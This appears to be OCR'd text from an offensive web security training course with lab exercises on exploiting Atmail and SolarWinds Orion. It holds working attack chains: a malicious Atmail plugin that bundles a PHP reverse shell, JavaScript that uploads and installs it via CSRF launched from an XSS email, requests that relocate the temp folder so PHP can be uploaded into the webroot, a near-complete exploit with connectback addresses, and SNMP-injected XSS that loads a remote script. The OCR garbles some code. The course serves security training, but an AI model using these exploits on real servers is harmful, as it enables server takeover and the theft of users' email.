the scope and time allotted, this could include a full code review or a 20-minute session, where the
researcher explores various options and features provided by the target application. Either way, initial
research is critical and without it, you will be limiting your success significantly. Before we continue the

Atmail Server analysis, let’s take 20 minutes to explore the web user and management interfaces.
The research should be focused on find avenues for achieving Remote Code Execution.

Achieving remote code execution should be the primary goal of auditors since is gives the highest
privileges of the target application. Whilst it may be dangerous to forward email to a maliciously intended

email address, compromising the server and accessing everyone's email at once is much more serious.
1.8.1 Course Work
Exercise: uid=3000(atmail) groups=3000(atmail)

o Log into the Atmail VMware image mail and admin interfaces. Take some time to familiarize
yourself with these interfaces as well as the features they provide. Using your web browser,
attempt to gain code execution of the command id on the Linux mail server using the most

obvious way that comes to mind.
Questions:

o What are the documented steps you took to achieve Remote Code Execution?

o Identify dangerous PHP functions in the application that may be used for Remote Code Execution

if they are not protected against.
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1.9 From XSS to Server Compromise, Muts’ Style

You might have noticed that Atmail uses two different authentication cookies, depending on whether the
web user also has administrative privileges. This can be seen more clearly by sending an email with an
alert(document.cookie); payload, and then opening that email while logged in to both the admin and the
webmail interfaces. The “user” interface uses a cookie parameter with the value atmailé while the

administrative value is atmail6_admin.

From this point onwards, we will assume that all attacks are performed whilst the administrator is logged
into both the webmail and admin interfaces. By now, an evil plan should be brewing in your head. By
using the XSS attack as leverage, we might be able to CSRF our way into installing a malicious plugin into
the Atmail administrative interface, assuming our victim has active mail.and administration sessions. This

in turn should provide us with remote code execution on the actual mail server. XSS to RCE, wOOt!
1.9.1 The Atmail Attack Plan

1.9.1.1 Stage 1: Get a Working Atmail Plugin
In order to execute this attack, we must first write a successful plugin, which will in turn provide us with
access to the server. Looking at the plugin documentation, we can construct an Atmail plugin that will

execute a PHP reverse shell'® (provided by pentest monkey).

There are several important things worth noting in the Atmail plugin development page, which is on their

public wiki'®. Once we sift through this documentation, we come up with the following PoC plugin.

<?php

class OffensiveSecurity Backdoor_ Plugin extends Atmail_Controller Plugin
{

'Backdoor';
'OffensiveSecurity';
'Offensive Security infoQoffsec.com';
'muts@offsec.com';
'www.offensive-security.com';
Ty .

'0.0.1';

'mail’';

'6.1.6 6.1.7"';

protected $_pluginFullName
protected $_pluginCompany
protected $_pluginAuthor
protected $ pluginCopyright
protected $_pluginUrl
protected $_pluginNotes
protected $_pluginVersion
protected $_pluginModule
protected $ pluginCompat

[ I A

public function __ construct()

{

parent:: construct();

18. http://pentestmonkey.net/tools/web-shells/php-reverse-shell
19. http://support.atmail.com/display/DOCS/Creating-+Plugins
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Figure 29- Proof of Concept Code for the Malicious Atmail Plugin

We package this file together with a php-reverse-shell.php file according to the plugin folder structure
requirements, and attempt an upload. Note that the php-reverse-shell file has a hard-coded IP/port
combination, which needs to be filled in before packaging the plugin. Do not forget to change these

values.

mkdir -p OffensiveSecurity/Backdoor/includes

mv Plugin.php OffensiveSecurity/Backdoor/

mv php-reverse-shell.php OffensiveSecurity/Backdoor/includes/

nano OffensiveSecurity/Backdoor/includes/php-reverse-shell.php # EDIT IP AND PORT!
tar cvfz New-Backdoor.tgz OffensiveSecurity

Figure 30 - Creating the Plugin Package

1.9.1.2 Course Work - Malicious Plugin

Exercise:

o Recreate the attack described above by creating an Atmail plugin that will execute code of your

choosing. When in doubt, a reverse shell is always preferred.

1.9.1.3 Stage 2: Upload the Plugin via CSRF
Prior to beginning our CSRF attack, we must inspect the plugin upload process and attempt to replicate it

with a self-submitting form. Let’s inspect the plugin upload process by using Tamper Data.

As you experiment with plugin uploads, inspect the HTTP traffic to and from the web application in order
to better understand how to later recreate the same effect using the CSRF attack. As we look further, we

see that the plugin installation process takes place in two stages.

The first stage uploads your plugin file into a temporary directory on the mail server (located at
/usr/local/atmail/webmail/application/modules/admin/pluginPackages/). Inspecting this file upload

in Tamper Data reveals the following:

————————————————————————————— 200550461796300064890622677\r\n
Content-Disposition: form-data; name="newPlugin"; filename="Backdoor.tgz"\r\n
Content-Type: application/x-gtar\r\n\r\n

[raw binary data]\r\n

————————————————————————————— 200550461796300064890622677--\r\n

Figure 31 - The First Stage of Uploading the Plugin

Once the plugin is uploaded, it is ready to be installed. Tampering with the install request reveals the

following.
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Figure 32 - The Second Stage of Installing the Plugin

It seems that in order to install a specific plugin, an additional HTTP GET request is made to a URL with
seemingly random characters at the end. In order to reliably trigger the installation, we need to

understand the nature of these characters.

To get a better indication of what happens when clicking the “Install Backdoor” button, we need to inspect
the DOM source of the webpage. Looking at the HTML elements of the “Install Backdoor” button, we can

see that the button is contained in a div named back_button_install_plugin.
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Insall Backdoor

— <div id="plugininfo">
— <table class="settings" style="margin-top:18px:">
— <tbody>
+istes
—~ kT
 ctds</td>
— <div id="back_button install plugin”">
<br>
+<a href="#">

Figure 33 - Inspecting the HTML Element of the 'Install Backdoor' Button

In an attempt to learn more about how this functionality is implemented, we run a quick search on the

Atmail source code, looking for back_button_install_plugin as shown below.

[root@localhost admin]# pwd
/usr/local/atmail/webmail/application/modules/admin

[root@localhost admin]# grep -r back button_install plugin *
views/scripts/plugins/preinstall.phtml: <div id="back_button install plugin">
views/scripts/plugins/preinstall.phtml: setTimeout ('$ ("#back _button install plugin")

Figure 34 - Searching Through the Atmail Source Code
Upon inspecting the preinstall.phtml file, we notice the following code that is responsible for the creation

of the link to the 2" stage of the plugin installation at line 89:

<script>
<?php echo $this->moduleBaseUrl 2>

/plugins/add/file/
<?php echo base64 encode ($this->plugin['tgzPath']) 2>

Figure 35 - The Code Responsible for the Second Stage of the Plugin Installation

This means that the “random” string at the end of the GET request is predictable and is simply the plugin

name, base64 encoded.
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root@kali:# echo QOmFja2Rvb3IudGdé6|base64 -d
Backdoor.tgz

Figure 36 - Decoding the Seemingly Random String

Now that we understand the full flow of the Atmail plugin installation process, we are ready to try to

automate the process as part of our advanced CSRF attack.

We begin by writing a small JavaScript snippet (atmail-upload.js), which will use ajax to upload our binary

plugin file to the victim server.

function fileUpload(url, fileData, fileName, nameVar, ctype) {

var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();

// latest ff doesn't have sendAsBinary(), so we redefine it
if (!xhr.sendAsBinary) {
xhr.sendAsBinary = function(datastr) {
function byteValue (x) {
return x.charCodeAt (0) & Oxff;

}
var ords = Array.prototype.map.call(datastr, byteValue);

var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);

}

xhr.open ("POST", url, true);
// MIME POST request.

xhr.setRequestHeader ("Content-Length", fileSize);

xhr.sendAsBinary (body) ;
return true;

// Upload The Plugin
fileUpload(url,data, fileName, nameVar, ctype);

xhr.setRequestHeader ("Content-Type", "multipart/form-data, boundary="+boundary):;

var body = "--" + boundary + "\r\n";

body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' +
fileName + '"\r\n';

body += "Content-Type: " + ctype + "\r\n\r\n";

body += fileData + "\r\n";

body += "--" + boundary + "--"

var namevVar = "newPlugin";

var fileName = "Backdoor.tgz";

var url = "http://172.16.84.171/index.php/admin/plugins/preinstall";
var ctype = "application/x-gzip";

var data = "\x44\x41\x42\x43\x44"; # Binary tgz file goes in here

Figure 37 - The Code of atmail-upload.js to Upload the Binary Plugin File
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This code will automatically POST the binary data to the Atmail plugin upload form. In order to convert
your plugin tgz file to a hex dump suitable for insertion in our script, we can use the provided

formatPayload.py Python utility.

1.91.4 Course Work
Exercise: Atmail, Send Thy Payload

o Recreate the attack as described above by sending a malicious email, which will upload (but not
execute!) the malicious plugin. Once we have this part down pat, we can worry about completing
the attack and sending the second GET request.

o You'll know that you’ve successfully uploaded your plugin, but not executed it, if you see the

following when visiting the “Add Plugins” page:

[gtmail 24 Dashboard Appliance B UserManager = 4 Services B Security
&{n] Plugin Settings Add Plugins

iagy Add Plugins

<& Select a plugin from your hard drive to upload. Check out av

Plugins available for installation:  Backdoor.tyz

Upload a plugin for installation: Upload Plugin

Figure 38 - Evidence of the Successful Plugin Upload

1.9.1.5 Stage 3: Forcing the Plugin Installation via CSRF

Now that we have successfully CSRF'ed our Atmail plugin upload, all that’s left to do is to update our
hosted payload and wait for a few seconds while the file finishes uploading, then trigger the second GET
request, which proceeds to install our plugin and execute our code. We add a timer function to our script
that will delay the execution of the additional GET request and a function to actually call the installation
URL.
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function timeMsg ()
{

var t=setTimeout ("getShell()",5000);
}

function getShell ()
{
var bé64url =
"http://[target]/index.php/admin/plugins/add/file/QmFja2Rvb3IudGde” ;
xhr = new XMLHttpRequest () ;
xhr.open ("GET", b64url, true):;
xhr.send(null);
}

[original payload code]

fileUpload(url,data, fileName, nameVar, ctype);
timeMsg () ;

Figure 39 - Our Code to Install and Execute the Backdoor

Finally, with all pieces of the puzzle in place, we can now send an email that will exploit the Atmail Mail

server web administrator and cause the server to install a malicious plugin, which in turn sends us a

reverse shell!

1.9.1.6 Course Work

Exercise: Atmail, Receive Thy Shell

o Recreate the attack as described. Send a malicious email, which will cough up a reverse shell to

your attacking IP.

Extra Mile Exercise:

o Inretrospect, there is a way to simplify this attack so that it requires fewer stages and leaves little

to no trace of installed plugins and files. Improve on the current exploit!
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Figure 40 - Reverse Shell Successfully Received from the Victim
Questions:

o How did it occur to you that there existed a better technique for exploitation?

o Canyou identify in the code, where the better technique is triggered?

1.10 From XSS to Server Compromise, mr_me's Style

You may have noticed several things regarding the Atmail code base after you performed your initial
research. This research goes far beyond typical penetration testing and gives the security analyst real,
actionable attack chains. You should be covering anything and everything from database layer access,

database privileges, core library code functions, dangerous code paths, and authentication mechanisms

to name a few.
1.10.1 Target Reconnaissance

The first thing we notice is that the web root of the application seems to be located in
/usr/local/atmail/webmail. Other things we notice is that there are several file uploads where we can
control the extension and a predictable name that write into the <webroot>/tmp/a/d/adminoffseclocal/

directory. This directory is protected via a .htaccess file, yet is web accessible.
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The .htaccess file denies all access to this folder and subsequent sub folders. So how do we get around
this? Well, this temporary directory happens to be a configuration parameter in the database, which

was discovered during the analysis.

Figure 41 — The tmpFolderBaseName config setting stored in the database

It appears that the code uses this directory to write temporary files in, as we remember from section 1.5
of this module. That is a security boundary that appears weak, since the variable is not named something

like tmpFolderBaseNameSecurity’ etc.
1.10.2 Edit All the Things!

Interestingly, further investigation reveals that an administrative user can change these settings,

naturally, as this is an important functionality to an administrator.

& £ & 192.168.100 4/index phpjadrainindesdogin

54 Dashboard Appliance BU

&3 Global Settings Global Settings

5

71 Webmail Settings ’
bl lale Installation Mode  Atmail Server Edition

485 Groupware Setiings Admin Email Eésmle?pgr@myqomamcon

sy Branding
Sessiontimeout 120
"-“. User Defaults

SQL Hostname  127.0.0.1 )

SQL Username  rool )

Database Name S

Figure 42 — Global settings to change the ‘tmpFolderBaseName’, among other settings
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Here is the subsequent POST request. Note how there is no CSRF protection:

POST /index.php/admin/settings/globalsave HTTP/1.1

Host: <atmail>

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 834

Cookie: atmail6_admin=glkt2c991lkokeka9lcslmihv77

Connection: close

save=1&fields[admin_email]=postmaster@mydomain.com&fields[session_timeout]=l20&field
s[sql_host]=127.0.0.1s&fields[sql_user]=root&fields[sql pass]=956ec84a45e0675851367c7
e480ecle9%&fields([sql_table]=atmail6&dovecot [authType]=sqls&dovecot[ldapTypel=openldap
&dovecot [ldap_bindauth]=1&dovecot [1dap_host]=&dovecot [1dap_binddn]=&dovecot [ldap bin
dpass]=&dovecot[ldap_basedn]=&dovecot[ldap_passwdfield]=&dovecot[ldap_passfilter]=&d
ovecot [ldap_bindauth]=1&dovecot [ldap_bindauthdn]=domain.com&userPasswordEncryptionTy
peCurrent=PLAIN&fields[userPasswordEncryptionType]=PLAIN&externalUserPasswordEncrypt
ionTypeCurrent=PLAIN&fields[externalUserPasswordEncryptionType]=PLAIN&fields[master_
keyl=&fields[log_purge_days]=180&fields[debug]=0

Figure 43 — A missing ‘tmpFolderBaseName’ variable in the settings

We note though upon close inspection of the request that it does not include 'tmpFolderBaseName' as a

field parameter. We are going to have to dive into the code for this one.

The request maps to application/modules/admin/controllers/SettingsController.php, specifically the

‘globalsaveAction()’ function.

public function globalsaveAction ()

{

//if password unchanged then no change
if ( !isset($this—>requestParams['fields']['sql_pass']) Il $this-
>requestParams|['fields'] ['sql_pass'] == md5('__UNCHANGED__') )
$this—>requestParams['fields']['sql_pass'] =
Zend _Registry::get('config')->global['sql_pass'];

$dbArray = array (

'host' => $this-
>requestParams(['fields']['sql_host'],

'username’' => $this-
>requestParams|['fields']['sql_user'l],

'password' => $this-
>requestParams|['fields']['sql_pass'],

'dbname’ => $this-
>requestParams['fields']['sql_table']

)

// Attempt connection to SQL server
require_once('library/Zend/Db/Adapter/Pdo/Mysql.php');
try
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$db = new Zend Db Adapter Pdo_Mysql ($dbArray);
$db->getConnection () ;

}

catch (Exception $e)

{

throw new Atmail Config Exception("Unable to connect to
the provided SQL server with supplied settings");

}

config::save( 'global', $this->requestParams['fields'] )’

Figure 44 — No sanitization on “fields’ array, globally saving all!

We can see that the code uses the ‘requestParams’ array to reference user supplied input, and there is a
check on line 187:

if (!isset ($this->requestParams|['fields']['sqgl pass']) ||$this-
>requestParams['fields']['sqgl pass'] == md5( ' UNCHANGED__ "))

Figure 45 — Hidden Type Juggling Vulnerability against:a hardcoded password!

We can see that the code just checks for a hard-coded md5 value. md5('__UNCHANGED__') is:

Figure 46 — Hardcoded passwords are funny

If the check is passed, we see the second most important line of the code:

$this->requestParams['fields']['sqgl pass'] = Zend Registry::get('config')-
Zend Registry::get('config')->global['sql pass'];

Figure 47 ~ Yo Dawg, | heard you like to store passwords, so | stored the db password in the db

This sets the 'sql_pass' user supplied database password with actual, real password which is stored in the
database. It should seem illogical to you as to why the developers would store the database password in

the database itself.

Now the code goes on to make a database connection with the rest of the supplied details; 'sql_user" is
always 'root' and 'sql_table' (which is really the database name), is always 'atmail6' since we are attacking

a virtual appliance.

The last, and most important, part of the code, takes the user supplied array and saves it, specifying

'global' as the config section.
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config::save( 'global', $this->requestParams(['fields'] );

Figure 48 — Globally save all the things!

The results of this is disastrous, for an attacker can trigger this request via a CRSF attack and change the
temporary directory. The temporary directory before was tmp/ so we can set it to ", literally nothing,

using the following request:

POST /index.php/admin/settings/globalsave HTTP/1.1

Host: <atmail>

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 147

Cookie: atmail6_admin=glkt2c991lkokeka9lcslmihv77

Connection: close

save=1l&fields[sql_user]=root&fields[sql pass]=956ec84a45e0675851367c7ed480ec0e9sfield
s[sql_table]=atmail6&fields[tmpFolderBaseName]=

Figure 49 — Setting the tmpFolderBaseName to null

Now, when files are uploaded, they are uploaded into /usr/local/atmail/webmail/a/d/adminoffseclocal

instead of /usr/local/atmail/webmail/tmp/a/d/adminoffseclocal/, note the missing tmp directory.

1.10.3 Course Work
Exercise: Atmail, Change the global ‘tmpFolderBaseName’ Directory Location

o Create a CSRF Proof of Concept for the attack to change this setting. Do not use any automated

tools!
1.10.4 Exploiting The Broken Trust

When adding attachments to emails, we can see that the following request will upload php code into the

temporary folder with a predictable name:

POST /index.php/mail/composemessage/addattachment/composeID/ HTTP/1.1
Host: <atmail>

Cookie: atmail6é=jpln2ogq7gpvscgd6n6vsgb3bal

Connection: close

53835469212916346211645234520
Content-Length: 238

————————————————————————————— 53835469212916346211645234520
Content-Disposition: form-data; name="newAttachment"; filename="offsec.php"
Content-Type:
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————————————————————————————— 53835469212916346211645234520--

Figure 50 — Uploading php code into our new ‘tmp’ directory

You may be thinking, that a/d/adminoffseclocal/ doesn't exist as a directory structure in the webroot.
Let’s dive into the code to see what’s going on. The code is located in application / modules/ mail /
controllers / ComposemessageController.php within ‘addattachmentAction()’ function located from

within the webroot.

public function addattachmentAction ()
{

$this-> helper->viewRenderer->setNoRender () ;

$requestParams = $this->getRequest () ->getParams();

$type = str_replace('/', '_', $_FILES( 'newAttachment'] ["type'l):

$filenameOriginal = urldecode( $_ FILES['newAttachment']['name'] );
$filenameOriginal = preg replace("/~[\/.]1+/", "", $filenameOriginal);
$filenameOriginal = str replace(”../", "", $filenameOriginal);

$filenameFS = $type . '-' . $requestParams|['composeID'] '-

$filenameOriginal;

$filenameFSABS = APP_ROOT . users::getTmpFolder() . $filenameFS;

Figure 51 — Building the file path

We can see that the code concatenates the ‘filenameFSABS’ variable using the code ‘getTmpFolder()’
function. Let’s take a quick detour into the code for this static function. The function is located in

application/models/users.php:

public static function getTmpFolder( $subFolder = , Suser = null )
{
$globalConfig = Zend Registry::get('config')->global;
if( !'isset($globalConfig['tmpFolderBaseName']) )
{
throw new Atmail Mail Exception('Compulsory tmpFolderBaseName
not found in Config'):
}
$tmp_dir = $globalConfig['tmpFolderBaseName'];
SuserData = null;
if (Suser == null)
{
SuserData = Zend_ Auth: :getInstance () ->getStorage () ->read() ;

if (is_array($userData) && isset ($userData['user']))
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$safeUser = simplifyString($userDatal['user']);

else

// something went wrong.
// return global temp directory
return APP_ROOT . 'tmp/';

else

$safeUser = simplifyString($user) ;
}
$accountFirstLetter = $safeUser[0];
$accountSecondLetter = $safeUser[1l];
$range = range('a,','z'):;
if(!in_array($accountFirstLetter, $range))
{
SaccountFirstLetter = 'other';
}
if (!in_array($accountSecondLetter, S$Srange))
{
SaccountSecondLetter = 'other';
}
if ( !is_dir(APP_ROOT . $tmp_dir) )
$tmp_dir = '';

$tmp_dir .= $accountFirstLetter . DIRECTORY_ SEPARATOR;
if( 'is_dir(APP_ROOT . $tmp dir) )

{
@mkdir (APP_ROOT . $tmp dir);
if( !is_dir(APP_ROOT . $tmp_dir) )
throw new Exception('Failure creating folders in tmp
directory. Web server user must own ' . $tmp dir . ' and sub folders and have access

permissions');

}

$tmp_dir .= $accountSecondLetter . DIRECTORY SEPARATOR;
if( 'is_dir(APP_ROOT . $tmp dir) )
{

@mkdir (APP_ROOT . $tmp_dir) ;
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$tmp dir .= $safeUser . DIRECTORY_SEPARATOR;
if( 'is_dir (APP_ROOT . $tmp dir) )
{

@mkdir (APP_ROOT . $tmp dir);

Figure 52 — The dynamic creation of the upload path

Well, that's a lot to digest! This code starts by getting the temporary directory from the global
configuration and sets the ’safeUser’ variable to the current username, either ‘admin’ or
‘admin@offsec.local’. It then proceeds to take the first character from that value, and check if the
directory exists, and if not, creates it. It does this for the second character too, which is why the path is

<webroot>/tmp/a/d.

Then the code finally takes the ‘safeUser’ variable and adds it as another directory. If it doesn't exist, the
code creates it. Effectively, what the code is doing, is creating the directory structure (which is predictable)

to store temporary files. Now we have a complete path of a/d/adminoffseclocal/

public function addattachmentAction ()

{

// Make sure the file will be saved to the user's tmp folder
if (realpath(dirname ($filenameFSABS)) != realpath(APP_ROOT .
users: :getTmpFolder())) {
echo $this->view->translate("illegal filename") ;
return;

if ( $_FILES["newAttachment"]["error"] == UPLOAD_ERR_OK )
{

if (
!@move_uploaded file($_ FILES['newAttachment']['tmp_name'], $filenameFSABS) )

Figure 53 — The file upload into the newly created web accessible path

Switching our minds back to the ‘addattachmentAction()’ function above, the ‘filenameFSABS’ variable is
effectively built up correctly to be a valid path using attacker controlled variables 'composelD’,
_FILES['newAttachment']['type'] and _FILES['newAttachment']['name']. Finally, a check using the
‘realpath()’ function is done to ensure that there are no traversal attacks before it is uploaded to the

server. This will effectively upload code into the webroot, to a/d/adminoffseclocal/--offsec.php.
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1.10.5 Course Work
Exercise: Upload a Shell via Attachments!

o Write a Proof of Concept that will upload a shell into the newly set temporary folder. Determine

if you need administrative rights or not to complete this.
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Extra Mile Exercise:
It can be done! Write a single file proof of concept exploit that will perform the following:

Write a HTTP client

Detect that the incoming request is from an administrator
Send thy JavaScript payload

Receive thy shell

O O O O

eydloca‘hobi offaec]
gont)u1 in this

T R DT 3

Figure 54 — Getting a TTY connectback

Please see section 1.12 for links to sample exploits that attack applications in this way. The following

JavaScript will execute a reverse shell; it will need some changes though!

<script>

// set the target server to attack
var target = "192.168.100.4";
// set the connectback ip address
var reverseip = "192.168.100.2";
// set the connectback port

var rport = 3333;

function pwnSettingtmpFolderBaseName () {

var xhttp = new XMLHttpRequest():;

xhttp.open ("POST", "http://" + target +
"/index.php/admin/settings/globalsave"”, true);

xhttp.setRequestHeader ("Content-type", "application/x-www-form-urlencoded");

xhttp.send ("save=1lsfields[sql user]=roots&fields[sql_pass]=956ec84a45e06758513
67c7e480ecOe9&fields[sqlgtable]=atma116&fields[tmpFolderBaseName]=");

}
function uploadAllTheThings () {

var shell = ""; // insert your shell here

var phpKode = "<?php $ip = '" + reverseip + "'; $port = " + rport + ";
eval (base64 decode (\"" + shell + X)) 2

var fileSize = phpKode.length;

var boundary = "————m—m——— e e 270883142628617";

var uri = "http://" + target +
"/index.php/mail/composemessage/addattachment/composeID/";

xhr = new XMLHttpRequest () ;

xhr.open ("POST", uri, true);

xhr.setRequestHeader ("Content-Type", "multipart/form-data; boundary="+boundary);

xhr.setRequestHeader ("Content-Length", fileSize);

xhr.withCredentials = "true";

var body = "";

body += addFileField ("newAttachment", phpKode, "poc.php", boundary);
body += "--" + boundary + "--";
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xhr.send (body) ;
return true;

}

function addFileField(name, value, filename, boundary) {

var ¢ = "--" + boundary + "\r\n"

c += 'Content-Disposition: form-data; name="' + name + '"; filename="' +
filename + '"\r\n';

// magic tricks

c += "Content-Type: \r\n\r\n";

c += value + "\r\n";

return c;

}

function sendShell () {
// TODO: :->

}

pwnSettingtmpFolderBaseName () ;
uploadAllTheThings () ;

// give us a 1lil time
setTimeout (sendShell, 1000);

</script>

Figure 55 — The almost complete exploit

Questions:

o What functionality can be done by a user and what needs to be done by the admin?
o Isthere a way to root without knowing the root password? :->

o Canyou identify any other global settings that can be polluted and (ab)used for Remote Code
Execution?

Tips from The Trenches:

Often, when you audit the source code of an application, you come across hints of vulnerabilities. Here is

an example: application/modules/mail/controllers/AuthController.php on line 298
//CONSIDER: for security possibly limit login credential posting to certain actions

We can see the developers put in a little note, this indicates that there is an unlimited amount of
attempts when logging into the application, so an attacker can brute force the login!

Also, consider when auditing for bugs using the source code to use the 'find' command first (if using a Unix
based system). This will ensure that you only get php files. E.g., the following command will search for
calls to the php function 'unserialize()' Otherwise, you could end up with lots of JavaScript junk.
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| find .

-name "*.php" | xargs grep --color=always -ir "unserialize(" J

Figure 56 — searching for vulnerable code

Finally, use the source! Web based scripting languages are easy to modify and do not require any
compilation. You can easily print variables, dump objects, SQL statements, etc. to see if you are reaching

a particular code path. Work smarter (and only a little bit harder).

1.12 Further Reading

o

O

(e]

http://en.wikipedia.org/wiki/Same_origin_policy
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
http://en.wikipedia.org/wiki/JavaScript
http://www.ush.it/2009/01/26/xss-cheat-sheet-non-repeating-payloads/
http://www.ush.it/2007/06/27/xss-cheat-sheet-two-stage-payloads/
http://www.slideshare.net/kuza55/same-origin-policy-weaknesses-1728474
http://gnucitizen.googlecode.com/svn/trunk/mirrors/www.gnucitizen.org/static/blog/2006/08/j
sportscanner.js

http://en.wikipedia.org/wiki/Confused_deputy_problem
http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html
http://www.cgisecurity.com/csrf-fag.html
http://jeremiahgrossman.blogspot.ca/2006/09/csrf-sleeping-giant.html
http://haacked.com/archive/2009/04/02/anatomy-of-csrf-attack.aspx
http://old.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan/
http://www.tux.org/~peterw/csrf.txt
http://www.securenet.de/papers/Session_Riding.pdf
http://blog.portswigger.net/2007/05/on-site-request-forgery.htmil
http://www.codinghorror.com/blog/2008/09/cross-site-request-forgeries-and-you.html
https://www.owasp.org/index.php/HttpOnly

http://en.wikipedia.org/wiki/Framekiller
http://www.eukhost.com/blog/webhosting/dangerous-php-functions-must-be-disabled/
http://seclab.stanford.edu/websec/csrf/
http://stackoverflow.com/questions/6287713/is-php-immune-to-http-response-splitting-
vulnerabilities

https://grepbugs.com/
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o https://www.exploit-db.com/exploits/39534/
o https://www.exploit-db.com/exploits/39524/

2. SolarWinds Orion Case Study

As described by the vendor, “Orion Network Performance Monitor (NPM) makes it easy to quickly detect,
diagnose, and resolve performance issues within your ever-changing corporate or data center network. It
delivers real-time views and dashboards that enable you to visually track network performance at a

glance”?.

| YDUR SECURITY INFORMATICN EVENT MANAGEMENT
(SIEM) SOFTWARE SHOULDN'T BE EITHER.

Protect your IT environment against attacks in real
time with SolarWinds® Log & Event Manager (LEM).

2.1 Getting Started
Boot up the VMware image containing the SolarWinds Orion application. Browse to the login page of the

web interface and login using the following credentials:

URL |[Username

http://ofion:8787/0rion ladmin ’ ] T<no paséword>

20. http://www.solarwinds.com/network-performance-monitor.aspx
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2.2 Web Related Attack Vectors

So far, we have been fortunate as far as executing XSS and CSRF attacks. In this module, we will see that
the SolarWinds web interface is based on ASP.NET, which provides several built-in protections from XSS
and CSRF attacks. If we are to succeed in exploiting this application in any way, we will have to face these

protections and overcome them.

2.3 View State Stuff
In general, ASP.NET applications are harder to exploit via XSS or CSRF attacks due to built-in protections
implemented in the framework. Below are several links to read if you are unfamiliar with the functionality

of the ASP.NET VIEWSTATE:

o http://msdn.microsoft.com/en-us/library/bb386448.aspx
o http://msdn.microsoft.com/en-us/library/ms972976.aspx
o http://weblogs.asp.net/infinitiesloop/archive/2006/08/03/Truly-Understanding-Viewstate.aspx

Note: When Googling “VIEWSTATE” and “XSS”, do not get confused by the “View State XSS Vulnerability”
found in 2010,

As summarized in the OWASP CSRF Prevention Cheat Sheet:

“Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge
a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible
that parameter values could be obtained or guessed by the attacker. However, if
the current session ID is added to the ViewState, it then makes each Viewstate

unique, and thus immune to CSRF”%,

Another interesting thing to note from that page:

“However, there are limitations on this mechanism. Such as, ViewState MACs are
only checked on POSTback, so any other application requests not using postbacks

will happily allow CSRF.”

21. http://technet.microsoft.com/en-us/security/bulletin/MS10-070
22. https://www.owasp.org/index.php/Cross-Site_Request_Forgery %28CSRF%29 Prevention Cheat Sheet#Viewstate .28ASP.NET.29
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This would imply that the protection that VIEWSTATE offers is present only in POST requests and is NOT

present in GET requests.

2.4 The Burning Winds XSS Attack Chain

Before we begin, it’s important to point out that XSS attacks do not always require user interaction. In
fact, much of the functionality in real applications allow attacks to inject an XSS attack only to have it
executed later on (stored). We have seen this type of vulnerability in authentication mechanisms where
the XSS injection is actually executed within the admin interface when viewing logs! Imagine that, an
attacker sends an XSS payload before authentication, only to have it executed by the administrator user
when viewing logs. The next XSS vulnerability presented does this in a similar way and requires no “link”

to be shared with the administrator, hoping they are logged in.
2.4.1 Look ma, no hands! - XSS Without User Interaction

We begin by configuring our snmpd.conf file to contain values similar to the following:

rocommunity public

com2sec local localhost public

view systemview included .1.3.6.1.2.1.1
view systemview included 1.3.6.1.2.1.25.1.1
view systemview included .1 80

syslocation <script>alert('location')</script>
syscontact <script>alert ('contact')</script>
sysName <script>alert ('name')</script>

Figure 57 - The Malicious Contents of snmpd.conf

On Kali Linux, we then allow SNMP to listen on the external interface by removing the “127.0.0.1” address
from /etc/snmp/snmpd.conf. DO NOT FORGET TO RESTART SNMPD after each change to its
configuration file. Also, don't forget to open up necessary ports such as UDP 161 and any web server port
where you are hosting JavaScript code! Unnecessary WTFing, once again, will be ridiculed even more

harshly than before.

We run a new discover task using the SolarWinds web interface and notice various instances of alerts
popping up. To do this, go to Home - Manage Nodes > Add Node and we will enter our IP address into
the Hostname or IP Address field. Please also use the “test” feature of snmp to make sure the application
can reach your snmp server. When this is done, we notice that the name XSS gets executed excessively

and also leaves telltale signs of the attack as shown in Figure 16.
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Eﬁe Edit View History Bookmarks Tools Help

E ™ hiode Details - <scriptzalert{name’) < fscript>

i

location
7 Prevent this page frem creating additional dialogs

‘?E'ar}sferring data from 127.0.0.1...

Figure 58 - The Initial XSS Proof of Concept is Successful

We do however, notice that the contact field isn’t displayed as often as the name field and is much less

revealing. For the purposes of this exercise, we used the contact field as our XSS entry point.

To further refine our proof of concept, we edit our snmpd.conf to look similar to the following.

rocommunity public

com2sec local localhost public

view systemview included .1.3.6.1.2.1.1

view systemview included s LB o Bl T w2+ 125, Lol
view systemview included .1 80

syslocation In Your Sessionz
syscontact <script src="http://172.16.254.231/00.]js"></script>

Figure 59 - Configuring snmpd.conf to Call an External JavaScript File
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While o0o.js (for now), simply pops up a unique alert.

alert("ohai");

Figure 60 - The Temporary Contents of Qur 00.js Fie

2.4.1.1 Course Work - Alert(“"SNMP Rules, Always”)

Exercise:

o Recreate the described attack on your virtual machine. Configure SNMP as needed on your
attacking box and inject a remote JavaScript include from your attacking web server. The included
script should make the current document.cookie pop up.

o Once you’ve done that, figure out how to generate an alert with the current VIEWSTATE hash.

Note down this value.

alert (document.getElementById (' VIEWSTATE') .value );

Figure 61 - Generating an Alert with the VIEWSTATE Hash

2.4.2 SolarWinds Orion XSS: Now What?

Unlike our previous examples, we will not be able to simply steal cookies and impersonate the user
session. Our best bet is to try to find the most “useful” functionality available via the web interface (such

as a plugin installation or perhaps a vulnerability), and then try to replicate it using a CSRF attack.

For our purposes, we will try to CSRF our way into adding a new administrative user to the SolarWinds

Orion web application.

2.4.2.1 Course Work

Exercise: More Than Meets the Eye

o Investigate the HTTP requests required to add a user to the web interface.
o Investigate the HTTP requests required to add an administrative user to the web interface.
o Come to a conclusion on how you would need to execute this attack. Share these thoughts with

your instructors.
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2.4.3 Trying to Add a User

We inspect the add user action and notice that we can add a user with a single POST request to the

following URL.

http://<target>:8787/Orion/Admin/Accounts/Add/OrionAccount.aspx?AccountType=0Orion J

Figure 62 - URL to Add a User to the Application

The POST parameters for the request look similar to those shown below in Figure 17.

Post Parameter Name Post Parame...

ct100%24ctI00%2 4ctt00%24BodyContent¥%245criptManagerPlaceHolder%24MasterScriptManager
